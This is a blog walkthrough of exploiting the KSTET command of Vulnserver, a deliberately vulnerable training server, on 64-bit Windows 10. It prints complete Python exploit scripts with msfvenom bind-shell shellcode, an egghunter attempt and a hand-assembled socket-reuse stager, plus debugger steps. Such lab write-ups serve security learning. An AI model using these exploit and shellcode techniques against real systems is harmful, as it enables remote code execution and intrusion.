Exploiting Windows 10 with Socket Reuse - Vulnserver [KSTET] Walkthrough Part 4
Intro
In the last post I detailed the first method that I attempted to get KSTET working (using egghunters). This worked on my Windows 7 32bit OS, since the egghunter for that was about 30 bytes long. However, on Windows 10 64bit the egghunter was 50 bytes long and was not possible to fit in the buffer without being mangled at the end. So an alternate exploitation method needs to be used for Windows 10 64 bit. In this post I will go through a socket reuse exploit that allows us to overcome the limited buffer space and exploit KSTET on a modern system.
The State of the Egg
The closest I got with the Windows 10 egghunter is below:
import socket
server = '127.0.0.1'
port = 9999
# msfvenom -p windows/shell_bind_tcp LPORT=31337 -b '\x00' -f py EXITFUNC=thread
buf = b""
buf += b"\xdd\xc2\xbb\x9a\x96\xbb\x09\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x53\x83\xc2\x04\x31\x5a\x13\x03\xc0\x85\x59"
buf += b"\xfc\x08\x41\x1f\xff\xf0\x92\x40\x89\x15\xa3\x40\xed"
buf += b"\x5e\x94\x70\x65\x32\x19\xfa\x2b\xa6\xaa\x8e\xe3\xc9"
buf += b"\x1b\x24\xd2\xe4\x9c\x15\x26\x67\x1f\x64\x7b\x47\x1e"
buf += b"\xa7\x8e\x86\x67\xda\x63\xda\x30\x90\xd6\xca\x35\xec"
buf += b"\xea\x61\x05\xe0\x6a\x96\xde\x03\x5a\x09\x54\x5a\x7c"
buf += b"\xa8\xb9\xd6\x35\xb2\xde\xd3\x8c\x49\x14\xaf\x0e\x9b"
buf += b"\x64\x50\xbc\xe2\x48\xa3\xbc\x23\x6e\x5c\xcb\x5d\x8c"
buf += b"\xe1\xcc\x9a\xee\x3d\x58\x38\x48\xb5\xfa\xe4\x68\x1a"
buf += b"\x9c\x6f\x66\xd7\xea\x37\x6b\xe6\x3f\x4c\x97\x63\xbe"
buf += b"\x82\x11\x37\xe5\x06\x79\xe3\x84\x1f\x27\x42\xb8\x7f"
buf += b"\x88\x3b\x1c\xf4\x25\x2f\x2d\x57\x22\x9c\x1c\x67\xb2"
buf += b"\x8a\x17\x14\x80\x15\x8c\xb2\xa8\xde\x0a\x45\xce\xf4"
buf += b"\xeb\xd9\x31\xf7\x0b\xf0\xf5\xa3\x5b\x6a\xdf\xcb\x37"
buf += b"\x6a\xe0\x19\xad\x62\x47\xf2\xd0\x8f\x37\xa2\x54\x3f"
buf += b"\xd0\xa8\x5a\x60\xc0\xd2\xb0\x09\x69\x2f\x3b\x4f\x03"
buf += b"\xa6\xdd\xc5\xc3\xee\x76\x71\x26\xd5\x4e\xe6\x59\x3f"
buf += b"\xe7\x80\x12\x29\x30\xaf\xa2\x7f\x16\x27\x29\x6c\xa2"
buf += b"\x56\x2e\xb9\x82\x0f\xb9\x37\x43\x62\x5b\x47\x4e\x14"
buf += b"\xf8\xda\x15\xe4\x77\xc7\x81\xb3\xd0\x39\xd8\x51\xcd"
buf += b"\x60\x72\x47\x0c\xf4\xbd\xc3\xcb\xc5\x40\xca\x9e\x72"
buf += b"\x67\xdc\x66\x7a\x23\x88\x36\x2d\xfd\x66\xf1\x87\x4f"
buf += b"\xd0\xab\x74\x06\xb4\x2a\xb7\x99\xc2\x32\x92\x6f\x2a"
buf += b"\x82\x4b\x36\x55\x2b\x1c\xbe\x2e\x51\xbc\x41\xe5\xd1"
buf += b"\xdc\xa3\x2f\x2c\x75\x7a\xba\x8d\x18\x7d\x11\xd1\x24"
buf += b"\xfe\x93\xaa\xd2\x1e\xd6\xaf\x9f\x98\x0b\xc2\xb0\x4c"
buf += b"\x2b\x71\xb0\x44"
sc = b"c0d3c0d3" # different egg, was trying others I saw online
sc += buf
# !py mona egg -t c0d3 -wow64 -winver 10 (50 bytes)
egghunter = (b"\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52"
b"\x53\x53\x53\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83"
b"\xc4\x08\x3c\x05\x74\xdf\xb8\x63\x30\x64\x33\x8b\xfa\xaf\x75\xda"
b"\xaf\x75\xd7\xff\xe7")
payload = b"A"*2
payload += egghunter
payload += b"A"*(70 - len(payload))
payload += b"\x03\x12\x50\x62" #0x62501203 jmp esp
payload += b"\x83\xc0\x06" # add eax,byte + 6
payload += b"\xff\xe0" #jmp eax
padding = b"C"*(111 - len(payload))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
print(s.recv(1024))
print("[*] Sending shellcode somewhere in memory via TRUN command...")
s.send(b"TRUN " + sc)
print(s.recv(1024))
s.close()
# Used to send the 1st stage shellcode (egghunter)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
print(s.recv(1024))
print("[*] Sending exploit...")
s.send(b"KSTET " + payload + padding + b"\r\n")
print(s.recv(1024))
s.close()
When this is run I hit the following.
From this I can see the instructions of the egghunter are on the stack OK, but at the end (after \x8b\xfa\xaf\x75
) the stack gets corrupted and a bunch of 0’s are added untill we hit the EIP.
I don’t know why those 0’s are being added… If they weren’t I would have enough space to have the full shellcode in there, but for now we are missing 6 bytes of space. If anyone knows what is causing this, please let me know, it would be good to find a way to get the egghunter to work.
Changing Tactics
Without the egghunter working, I figured it would be time to move on to a different exploit that can also be done in a short buffer space. This eventually led me on to socket reuse and I came across a post on Rasta’s blog (https://rastating.github.io/using-socket-reuse-to-exploit-vulnserver/) which covers the exact same topic (and much better, I recommend reading his too). This blog is also great https://epi052.gitlab.io/notes-to-self/blog/2020-05-22-osce-exam-practice-part-seven/ and covers the same thing.
So reading these and understanding socket reuse more, this is the game plan:
- Exploit as before to control the EIP
- Use the EIP to jump to the stack with
JMP ESP
- Go into the bigger part of the stack by using
JMP EAX
after alligning EAX to our shellcode - Sending the socket reuse shellcode in the larger portion which will call the recv() function and open the socket for me
- Send the bind shellcode to the now open socket, which will open up the port
- Connect to the Windows with netcat
- Profit…
Changing the Exploit Skeleton
Lets build what this new plan wil look like:
import socket
server = '127.0.0.1'
port = 9999
# Socket Reuse shellcode
socket_recv = b"\x90\x90\x90\x90"
# Placing socket reuse shellcode in the larger buffer
payload = socket_recv
# Filling rest of buffer with A's
payload += b"A"*(70 - len(payload))
# JMP ESP
payload += b"\x03\x12\x50\x62" #0x62501203 jmp esp
# Add 6 bytes to EAX
payload += b"\x83\xc0\x06" # add eax,byte + 6
# Jmp to EAX (now pointing at socket reuse shellcode)
payload += b"\xff\xe0" #jmp eax
# Padding to make sure we hit the overflow
padding = b"C"*(111 - len(payload))
# msfvenom -p windows/shell_bind_tcp LPORT=31337 -b '\x00' -f py EXITFUNC=thread
buf = b""
buf += b"\xdd\xc2\xbb\x9a\x96\xbb\x09\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x53\x83\xc2\x04\x31\x5a\x13\x03\xc0\x85\x59"
buf += b"\xfc\x08\x41\x1f\xff\xf0\x92\x40\x89\x15\xa3\x40\xed"
buf += b"\x5e\x94\x70\x65\x32\x19\xfa\x2b\xa6\xaa\x8e\xe3\xc9"
buf += b"\x1b\x24\xd2\xe4\x9c\x15\x26\x67\x1f\x64\x7b\x47\x1e"
buf += b"\xa7\x8e\x86\x67\xda\x63\xda\x30\x90\xd6\xca\x35\xec"
buf += b"\xea\x61\x05\xe0\x6a\x96\xde\x03\x5a\x09\x54\x5a\x7c"
buf += b"\xa8\xb9\xd6\x35\xb2\xde\xd3\x8c\x49\x14\xaf\x0e\x9b"
buf += b"\x64\x50\xbc\xe2\x48\xa3\xbc\x23\x6e\x5c\xcb\x5d\x8c"
buf += b"\xe1\xcc\x9a\xee\x3d\x58\x38\x48\xb5\xfa\xe4\x68\x1a"
buf += b"\x9c\x6f\x66\xd7\xea\x37\x6b\xe6\x3f\x4c\x97\x63\xbe"
buf += b"\x82\x11\x37\xe5\x06\x79\xe3\x84\x1f\x27\x42\xb8\x7f"
buf += b"\x88\x3b\x1c\xf4\x25\x2f\x2d\x57\x22\x9c\x1c\x67\xb2"
buf += b"\x8a\x17\x14\x80\x15\x8c\xb2\xa8\xde\x0a\x45\xce\xf4"
buf += b"\xeb\xd9\x31\xf7\x0b\xf0\xf5\xa3\x5b\x6a\xdf\xcb\x37"
buf += b"\x6a\xe0\x19\xad\x62\x47\xf2\xd0\x8f\x37\xa2\x54\x3f"
buf += b"\xd0\xa8\x5a\x60\xc0\xd2\xb0\x09\x69\x2f\x3b\x4f\x03"
buf += b"\xa6\xdd\xc5\xc3\xee\x76\x71\x26\xd5\x4e\xe6\x59\x3f"
buf += b"\xe7\x80\x12\x29\x30\xaf\xa2\x7f\x16\x27\x29\x6c\xa2"
buf += b"\x56\x2e\xb9\x82\x0f\xb9\x37\x43\x62\x5b\x47\x4e\x14"
buf += b"\xf8\xda\x15\xe4\x77\xc7\x81\xb3\xd0\x39\xd8\x51\xcd"
buf += b"\x60\x72\x47\x0c\xf4\xbd\xc3\xcb\xc5\x40\xca\x9e\x72"
buf += b"\x67\xdc\x66\x7a\x23\x88\x36\x2d\xfd\x66\xf1\x87\x4f"
buf += b"\xd0\xab\x74\x06\xb4\x2a\xb7\x99\xc2\x32\x92\x6f\x2a"
buf += b"\x82\x4b\x36\x55\x2b\x1c\xbe\x2e\x51\xbc\x41\xe5\xd1"
buf += b"\xdc\xa3\x2f\x2c\x75\x7a\xba\x8d\x18\x7d\x11\xd1\x24"
buf += b"\xfe\x93\xaa\xd2\x1e\xd6\xaf\x9f\x98\x0b\xc2\xb0\x4c"
buf += b"\x2b\x71\xb0\x44"
# Create Connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
# Receive welcome banner
print(s.recv(1024))
# Send the socket reuse exploit
print("[*] Sending exploit...")
s.send(b"KSTET " + payload + padding + b"\r\n")
# Send the bind shellcode to the open socket
print("[*] Sending shellcode to now open socket")
s.send(buf)
# Let us know that it completed
print("[*] Execution Complete, Port 31337 Open")
# Close the connection
s.close()
With this skeleton we are mostly done really, we have the EIP and the stack pivot. We also have the second stage which will be the shellcode to send to the open socket. So now all we need to do is actually work out what should replace \x90\x90\x90\x90
and make the socket reuse shellcode.
Building the Socket Reuse Shellcode
The socket reuse is going to mainly focus around the recv() call. This call can be found here https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-recv. This shows that the structure of recv() is as follows.
int recv(
SOCKET s,
char *buf,
int len,
int flags
);
This shows that the first parameter is the socket file descriptor (essentially mapping the socket we are currently using), the pointer to the buffer, the length of the buffer, the flags to be be set.
It also shows us at the bottom of the page that the recv() function is contained within the DLL Ws2_32.dll
.
If we load up WinDBG and load in vulnserver, we can set a breakpoint on the recv functions within WinDBG.
bp ws2_32!recv
This sets a breakpoint for the recv function of the DLL Ws2_32.dll
. We can check that it worked by listing the breakpoints.
bl
Now lets continue execution (F5), then run our exploit skeleton against it.
We are now at a recv call. We can now look at the stack and see the values that have been passed to the function.
00401958
is the address that it will return too after the recv function is completed118
is the socket file descriptor for this round of execution (it will change)00bc3970
is the address of the buffer1000
is the size of the buffer0
is the default flag setting
Now if we press the Step Out
button in WinDBG (Shift + F11
), we end up back at the return address that was shown in the recv function call (00401958
).
We can see from the instruction Call vulnserver+0x252c
that the address of the recv
call is at 0x0040252c
, which we will need to call in our socket reuse exploit code.
We can also see above the recv call that several mov
instructions were called. This will be the program moving the parameters for recv
onto the stack. Since the first parameter of the recv function is the socket descriptor, that will be the last one to be moved onto the stack before recv is called. This instruction is below.
mov eax,dword ptr [ebp-420h]
mov dword ptr [esp],eax
call vulnserver+0x252c (0040252c)
We can see that a value at ebp-0x420
is moved into eax
. Then in the next instruction, eax
is moved onto the stack. This means that the value of the socket descriptor is contained at EBP-0x420
.
This shows the value 118
at EBP-0x420
. This gives us a way to dynamically retrieve the socket descriptor for our payload. This address is 0x00dffb50
.
If we change one of the \x90
into a \xcc
in our exploit (at the socket_reuse variable), we can relaunch and land at our \xcc
breakpoint. Here we can work out what the distance is between the stack at the time of our exploit, and the value of the socket descriptor on the stack.
!py mona offset -a1 esp -a2 00dffb50
This shows a distance of 0x00010188
bytes from the stack to the EBP-0x420
value at the time our payload is being hit. I believe due to the base address, the actual relative offset is 188
bytes. We can verify this is the case by looking at ESP + 0x188
.
We can now see the value 118
at the time of our payload! This gives us a dynamic way to find the socket descriptor every run, allowing us not to hardcode one in (since it should generate everytime and can change).
Staging
Rasta does a really good job of explaining the method of writing out the stager and it is hard to think of different ways to explain it, so I will probably be fairly brief. I recommend checking out his blog in the Writing the Socket Stager
section.
The first thing we need to do in our code will be dynamically grabbing the socket descriptor, so that we can call it later.
We will need to first push esp
to the stack and then pop it into a register. This will give us the current pointer to the stack that we can manipulate. We will then increase eax
by 188 bytes so that it lines up with the socket descriptor (since its 188 bytes away from the stack at time of payload execution).
push esp ; Push esp to top of stack
pop eax ; Send esp to register
add ax, 0x188 ; add 188 bytes to eax (ax to avoid nulls)
We can verify this by getting the opcodes from mona like so.
!py mona asm -s "push esp # pop eax # add ax, 0x188"
With the full opcode (so far) we can add it into our exploit script.
import socket
server = '127.0.0.1'
port = 9999
socket_recv = b"\xcc\x54\x58\x66\x05\x88\x01"
payload = socket_recv
payload += b"A"*(70 - len(payload))
payload += b"\x03\x12\x50\x62" #0x62501203 jmp esp
payload += b"\x83\xc0\x06" # add eax,byte + 6
payload += b"\xff\xe0" #jmp eax
padding = b"C"*(111 - len(payload))
# msfvenom -p windows/shell_bind_tcp LPORT=31337 -b '\x00' -f py EXITFUNC=thread
buf = b""
buf += b"\xdd\xc2\xbb\x9a\x96\xbb\x09\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x53\x83\xc2\x04\x31\x5a\x13\x03\xc0\x85\x59"
buf += b"\xfc\x08\x41\x1f\xff\xf0\x92\x40\x89\x15\xa3\x40\xed"
buf += b"\x5e\x94\x70\x65\x32\x19\xfa\x2b\xa6\xaa\x8e\xe3\xc9"
buf += b"\x1b\x24\xd2\xe4\x9c\x15\x26\x67\x1f\x64\x7b\x47\x1e"
buf += b"\xa7\x8e\x86\x67\xda\x63\xda\x30\x90\xd6\xca\x35\xec"
buf += b"\xea\x61\x05\xe0\x6a\x96\xde\x03\x5a\x09\x54\x5a\x7c"
buf += b"\xa8\xb9\xd6\x35\xb2\xde\xd3\x8c\x49\x14\xaf\x0e\x9b"
buf += b"\x64\x50\xbc\xe2\x48\xa3\xbc\x23\x6e\x5c\xcb\x5d\x8c"
buf += b"\xe1\xcc\x9a\xee\x3d\x58\x38\x48\xb5\xfa\xe4\x68\x1a"
buf += b"\x9c\x6f\x66\xd7\xea\x37\x6b\xe6\x3f\x4c\x97\x63\xbe"
buf += b"\x82\x11\x37\xe5\x06\x79\xe3\x84\x1f\x27\x42\xb8\x7f"
buf += b"\x88\x3b\x1c\xf4\x25\x2f\x2d\x57\x22\x9c\x1c\x67\xb2"
buf += b"\x8a\x17\x14\x80\x15\x8c\xb2\xa8\xde\x0a\x45\xce\xf4"
buf += b"\xeb\xd9\x31\xf7\x0b\xf0\xf5\xa3\x5b\x6a\xdf\xcb\x37"
buf += b"\x6a\xe0\x19\xad\x62\x47\xf2\xd0\x8f\x37\xa2\x54\x3f"
buf += b"\xd0\xa8\x5a\x60\xc0\xd2\xb0\x09\x69\x2f\x3b\x4f\x03"
buf += b"\xa6\xdd\xc5\xc3\xee\x76\x71\x26\xd5\x4e\xe6\x59\x3f"
buf += b"\xe7\x80\x12\x29\x30\xaf\xa2\x7f\x16\x27\x29\x6c\xa2"
buf += b"\x56\x2e\xb9\x82\x0f\xb9\x37\x43\x62\x5b\x47\x4e\x14"
buf += b"\xf8\xda\x15\xe4\x77\xc7\x81\xb3\xd0\x39\xd8\x51\xcd"
buf += b"\x60\x72\x47\x0c\xf4\xbd\xc3\xcb\xc5\x40\xca\x9e\x72"
buf += b"\x67\xdc\x66\x7a\x23\x88\x36\x2d\xfd\x66\xf1\x87\x4f"
buf += b"\xd0\xab\x74\x06\xb4\x2a\xb7\x99\xc2\x32\x92\x6f\x2a"
buf += b"\x82\x4b\x36\x55\x2b\x1c\xbe\x2e\x51\xbc\x41\xe5\xd1"
buf += b"\xdc\xa3\x2f\x2c\x75\x7a\xba\x8d\x18\x7d\x11\xd1\x24"
buf += b"\xfe\x93\xaa\xd2\x1e\xd6\xaf\x9f\x98\x0b\xc2\xb0\x4c"
buf += b"\x2b\x71\xb0\x44"
# Used to send the 1st stage socket reuse
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
print(s.recv(1024))
print("[*] Sending exploit...")
s.send(b"KSTET " + payload + padding + b"\r\n")
#print(s.recv(1024))
#print("[*] Sending shellcode to now open socket")
#s.send(buf)
#print(s.recv(1024))
#print("[*] Execution Complete, Port 31337 Open")
s.close()
Note I have commented out it sending the other payload that we don’t need yet. I have also added a breakpoint \xcc
into our opcodes so that I can have it break and then step into them and make sure it is working properly.
Running this and stepping through untill after our opcodes shows that eax
now points to the socket descriptor!
Now if we start pushing things to the stack, eventually we are going to overwrite ourselves due to the growing nature of the stack. So next we will substract 100 bytes from esp
to give us room on the stack for our values (which we need to now put on the stack to call recv()).
sub esp, 0x64 ; subtract 100 bytes (0x64 in hex) from stack
We will then start pushing our arguements. It needs to be the last argument first and then working up from there. So the arguments we need for recv are: socket descriptor, buffer address, buffer length, flags. So lets start with flags.
The flags argument is 0, but if we push 0 onto a register we will hit issues with null bytes (since we can’t send x00 as part of our payload). So if we xor a register against itself, it will result in 0 and we can push that instead.
xor ebx,ebx ; xor ebs against itself to make it 0
push ebx ; push 0 onto the stack for the flag argument
The buffer length argument will be 1024 bytes for a standard value (0x400 in hex). Again, we would hit null bytes issues since we would need to enter x00 to write out 0x400. We can actually add 0x4
to the bh
register, which will make the ebx
register 0x400. This is because of how registers can chunk into smaller registers.
add bh, 0x4 ; Add 4 to bh, making ebx 0x400
push ebx ; push 0x400 to stack for buffer length argument
Next we need to work out the buffer address, so lets get the current instructions in our payload and run it, then look at how far away we will be from the stack.
!py mona asm -s "push esp # pop eax # add ax, 0x188 # sub esp, 0x64 # xor ebx,ebx # push ebx # add bh, 0x4 # push ebx"
Add the full opcode (\x54\x58\x66\x05\x88\x01\x83\xec\x64\x31\xdb\x53\x80\xc7\x04\x53
) to your script and run again. Note, I put a breakpoint before it again so it looks like.
socket_recv = b"\xcc\x54\x58\x66\x05\x88\x01\x83\xec\x64\x31\xdb\x53\x80\xc7\x04\x53"
Now run it and get to the end of the opcodes.
We can see at this point all is good. eax
has the socket value, edx
is 0, ebx
is 0x400, esp
has a null and then 0x400 on it. So all good so far.
Now we need to work out the offset between the end of the A buffer space (the one we are currently in) and the top of the stack (esp).
!py mona offset -a1 0x00eff9c0 -a2 0x00eff95c
We can see that the end of the A buffer space (we will add our shellcode directly after our payload, so for the buffer address argument we will tell it to just point back to our shellcode location) and the start of the stack are 100 bytes (0x64) away from eachother.
So we will now take the current stack pointer (esp), pop it into ebx, add 0x64 to it, then put it back on the stack, this will make the stack jump up 64, which will point the stack at the end of our buffer. This gives us the value we need for our buffer address space.
push esp ; pushes esp to the stack
pop ebx ; pushed top of stack into ebx
add ebx, 0x64 ; adds 100 bytes to ebx
push ebx ; puts ebx back on the stack (so esp + 100 bytes essentially)
Now the last argument we need to add to the stack before calling recv() is the socket descriptor, which is currently in eax
. Since we need the value rather than a pointer we will pull out the value rather than just using push eax
.
push dword ptr ds:[eax] ; Pushes the value of the socket descriptor to stack
Now we just need to call recv(). Earlier we saw that recv() was at the address 0x0040252c
. This has a null byte at the end so we will shift it to the left, add a NOP, then shift it to the right to remove the NOP which will make it add a null byte for us without us having to send it as our shellcode.
mov eax, 0x40252c90 ; recv shifted to left and NOP added
shr eax, 8 ; shift it right, removing NOP and adding 00
call eax ; calls the function
Now lets create the opcodes in mona.
!py mona asm -s "push esp # pop eax # add ax, 0x188 # sub esp, 0x64 # xor ebx,ebx # push ebx # add bh, 0x4 # push ebx # push esp # pop ebx # add ebx, 0x64 # push ebx # push dword ptr ds:[eax] # mov eax, 0x40252c90 # shr eax, 8 # call eax"
This gives us the opcodes.
push esp = \x54
pop eax = \x58
add ax, 0x188 = \x66\x05\x88\x01
sub esp, 0x64 = \x83\xec\x64
xor ebx,ebx = \x31\xdb
push ebx = \x53
add bh, 0x4 = \x80\xc7\x04
push ebx = \x53
push esp = \x54
pop ebx = \x5b
add ebx, 0x64 = \x83\xc3\x64
push ebx = \x53
push dword ptr ds:[eax] = \x3e\xff\x30
mov eax, 0x40252c90 = \xb8\x90\x2c\x25\x40
shr eax, 8 = \x3e\xc1\xe8\x08
call eax = \xff\xd0
; Full opcode : \x54\x58\x66\x05\x88\x01\x83\xec\x64\x31\xdb\x53\x80\xc7\x04\x53\x54\x5b\x83\xc3\x64\x53\x3e\xff\x30\xb8\x90\x2c\x25\x40\x3e\xc1\xe8\x08\xff\xd0
Finalising the Exploit
Now we can add that into our script.
import socket
server = '127.0.0.1'
port = 9999
socket_recv = b"\x54\x58\x66\x05\x88\x01\x83\xec\x64\x31\xdb\x53\x80\xc7\x04\x53\x54\x5b\x83\xc3\x64\x53\x3e\xff\x30\xb8\x90\x2c\x25\x40\x3e\xc1\xe8\x08\xff\xd0"
payload = socket_recv
payload += b"A"*(70 - len(payload))
payload += b"\x03\x12\x50\x62" #0x62501203 jmp esp
payload += b"\x83\xc0\x06" # add eax,byte + 6
payload += b"\xff\xe0" #jmp eax
padding = b"C"*(111 - len(payload))
# msfvenom -p windows/shell_bind_tcp LPORT=31337 -b '\x00' -f py EXITFUNC=thread
buf = b""
buf += b"\xdd\xc2\xbb\x9a\x96\xbb\x09\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x53\x83\xc2\x04\x31\x5a\x13\x03\xc0\x85\x59"
buf += b"\xfc\x08\x41\x1f\xff\xf0\x92\x40\x89\x15\xa3\x40\xed"
buf += b"\x5e\x94\x70\x65\x32\x19\xfa\x2b\xa6\xaa\x8e\xe3\xc9"
buf += b"\x1b\x24\xd2\xe4\x9c\x15\x26\x67\x1f\x64\x7b\x47\x1e"
buf += b"\xa7\x8e\x86\x67\xda\x63\xda\x30\x90\xd6\xca\x35\xec"
buf += b"\xea\x61\x05\xe0\x6a\x96\xde\x03\x5a\x09\x54\x5a\x7c"
buf += b"\xa8\xb9\xd6\x35\xb2\xde\xd3\x8c\x49\x14\xaf\x0e\x9b"
buf += b"\x64\x50\xbc\xe2\x48\xa3\xbc\x23\x6e\x5c\xcb\x5d\x8c"
buf += b"\xe1\xcc\x9a\xee\x3d\x58\x38\x48\xb5\xfa\xe4\x68\x1a"
buf += b"\x9c\x6f\x66\xd7\xea\x37\x6b\xe6\x3f\x4c\x97\x63\xbe"
buf += b"\x82\x11\x37\xe5\x06\x79\xe3\x84\x1f\x27\x42\xb8\x7f"
buf += b"\x88\x3b\x1c\xf4\x25\x2f\x2d\x57\x22\x9c\x1c\x67\xb2"
buf += b"\x8a\x17\x14\x80\x15\x8c\xb2\xa8\xde\x0a\x45\xce\xf4"
buf += b"\xeb\xd9\x31\xf7\x0b\xf0\xf5\xa3\x5b\x6a\xdf\xcb\x37"
buf += b"\x6a\xe0\x19\xad\x62\x47\xf2\xd0\x8f\x37\xa2\x54\x3f"
buf += b"\xd0\xa8\x5a\x60\xc0\xd2\xb0\x09\x69\x2f\x3b\x4f\x03"
buf += b"\xa6\xdd\xc5\xc3\xee\x76\x71\x26\xd5\x4e\xe6\x59\x3f"
buf += b"\xe7\x80\x12\x29\x30\xaf\xa2\x7f\x16\x27\x29\x6c\xa2"
buf += b"\x56\x2e\xb9\x82\x0f\xb9\x37\x43\x62\x5b\x47\x4e\x14"
buf += b"\xf8\xda\x15\xe4\x77\xc7\x81\xb3\xd0\x39\xd8\x51\xcd"
buf += b"\x60\x72\x47\x0c\xf4\xbd\xc3\xcb\xc5\x40\xca\x9e\x72"
buf += b"\x67\xdc\x66\x7a\x23\x88\x36\x2d\xfd\x66\xf1\x87\x4f"
buf += b"\xd0\xab\x74\x06\xb4\x2a\xb7\x99\xc2\x32\x92\x6f\x2a"
buf += b"\x82\x4b\x36\x55\x2b\x1c\xbe\x2e\x51\xbc\x41\xe5\xd1"
buf += b"\xdc\xa3\x2f\x2c\x75\x7a\xba\x8d\x18\x7d\x11\xd1\x24"
buf += b"\xfe\x93\xaa\xd2\x1e\xd6\xaf\x9f\x98\x0b\xc2\xb0\x4c"
buf += b"\x2b\x71\xb0\x44"
# Used to send the 1st stage socket reuse
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
print(s.recv(1024))
print("[*] Sending exploit...")
s.send(b"KSTET " + payload + padding + b"\r\n")
print("[*] Sending shellcode to now open socket")
s.send(buf)
print("[*] Execution Complete, Port 31337 Open")
s.close()
We can close the debugger, launch vulnserver on its own, run the exploit and then connect!!!
Summary
This post has shown how to overcome the challenges of the limited buffer of KSTET in a Windows 10 64 bit machine, where the egghunter is too large.
I have learnt a lot about socket reuse doing it and love how effective it is. I will definitely be doing more of these manually on the other methods to try practise them.
This exploit has a buffer overflow to control the EIP, a stack pivot to get into larger buffer space, a socket reuse to open it up and then a second stage to send our bind payload.